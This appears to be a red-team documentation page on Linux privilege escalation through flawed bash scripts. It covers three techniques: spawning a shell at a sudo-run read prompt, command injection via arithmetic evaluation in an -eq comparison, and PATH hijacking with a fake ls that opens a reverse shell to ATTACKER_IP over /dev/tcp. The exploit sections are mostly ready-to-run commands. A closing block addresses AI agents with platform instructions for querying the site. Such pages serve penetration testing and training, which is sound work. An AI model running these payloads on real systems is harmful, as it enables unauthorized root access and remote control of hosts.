> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/redteam/privilege-escalation/linux/script-exploits/bash.md).

# Bash

## Theory

Bash scripting is a powerful tool used by system administrators and developers to automate tasks and streamline processes on Unix-like systems. However, like any software, bash scripts can be vulnerable to various security issues, which, if exploited, can lead to privilege escalation and unauthorized access.

## Practice

### Shell In Prompt

{% tabs %}
{% tab title="Enumerate" %}
If a bash script executes `read -p`. We can input `/bin/bash -i` to get a shell as another user.

```bash
$ cat /usr/bin/vuln-script.sh

#!/bin/bash
read -p "What's you name: "
```

{% endtab %}

{% tab title="Exploit" %}
We can input `/bin/bash -i` to get a shell.

```bash
$ sudo /usr/bin/sudo-script.sh

What's you name: /bin/bash -i
```

{% endtab %}
{% endtabs %}

### Bash eq

{% tabs %}
{% tab title="Enumerate" %}
If a bash script use the `-eq` comaparison, it's vulnerable to arbitrary command execution.

```bash
$ cat /usr/bin/vuln-script.sh

#!/bin/bash
read -rp "Enter guess: " num

if [[ $num -eq 42 ]]
then
  echo "Correct"
else
  echo "Wrong"
fi
```

{% endtab %}

{% tab title="Exploit" %}
To execute arbitrary command, answer this question as below. We have to Inject arbitrary command before the correct number (42).

```bash
sudo /bin/bash /opt/example.sh
Enter guess: a[$(/bin/bash -p >&2)]+42

#Or execute your own malicious script
sudo /bin/bash /opt/example.sh
Enter guess: a[$(/tmp/shell.elf)]+42
```

{% hint style="info" %}
`a[$(/tmp/shell.elf)]` will allow us, by evaluating the content of the array, to execute our script
{% endhint %}
{% endtab %}
{% endtabs %}

### No Command Path Exploit

{% tabs %}
{% tab title="Enumerate" %}
If a bash script executes another command **without specifying the path.** We can abuse it and get a privilege escalation.

```bash
$ cat /usr/bin/vuln-suid-script.sh

#!/bin/bash
ls /root/var/file
```

{% endtab %}

{% tab title="Exploit" %}
We can generate a malicious file in the `/tmp` folder named as the command called without full path

```bash
#Generate a payload
echo "bash -c '/bin/bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" > /tmp/ls
chmod +x /tmp/ls

#Change Path env variable
export PATH=/tmp:$PATH

#Execute the suid script
/usr/bin/vuln-suid-script.sh
```

{% endtab %}
{% endtabs %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://red.infiltr8.io/redteam/privilege-escalation/linux/script-exploits/bash.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
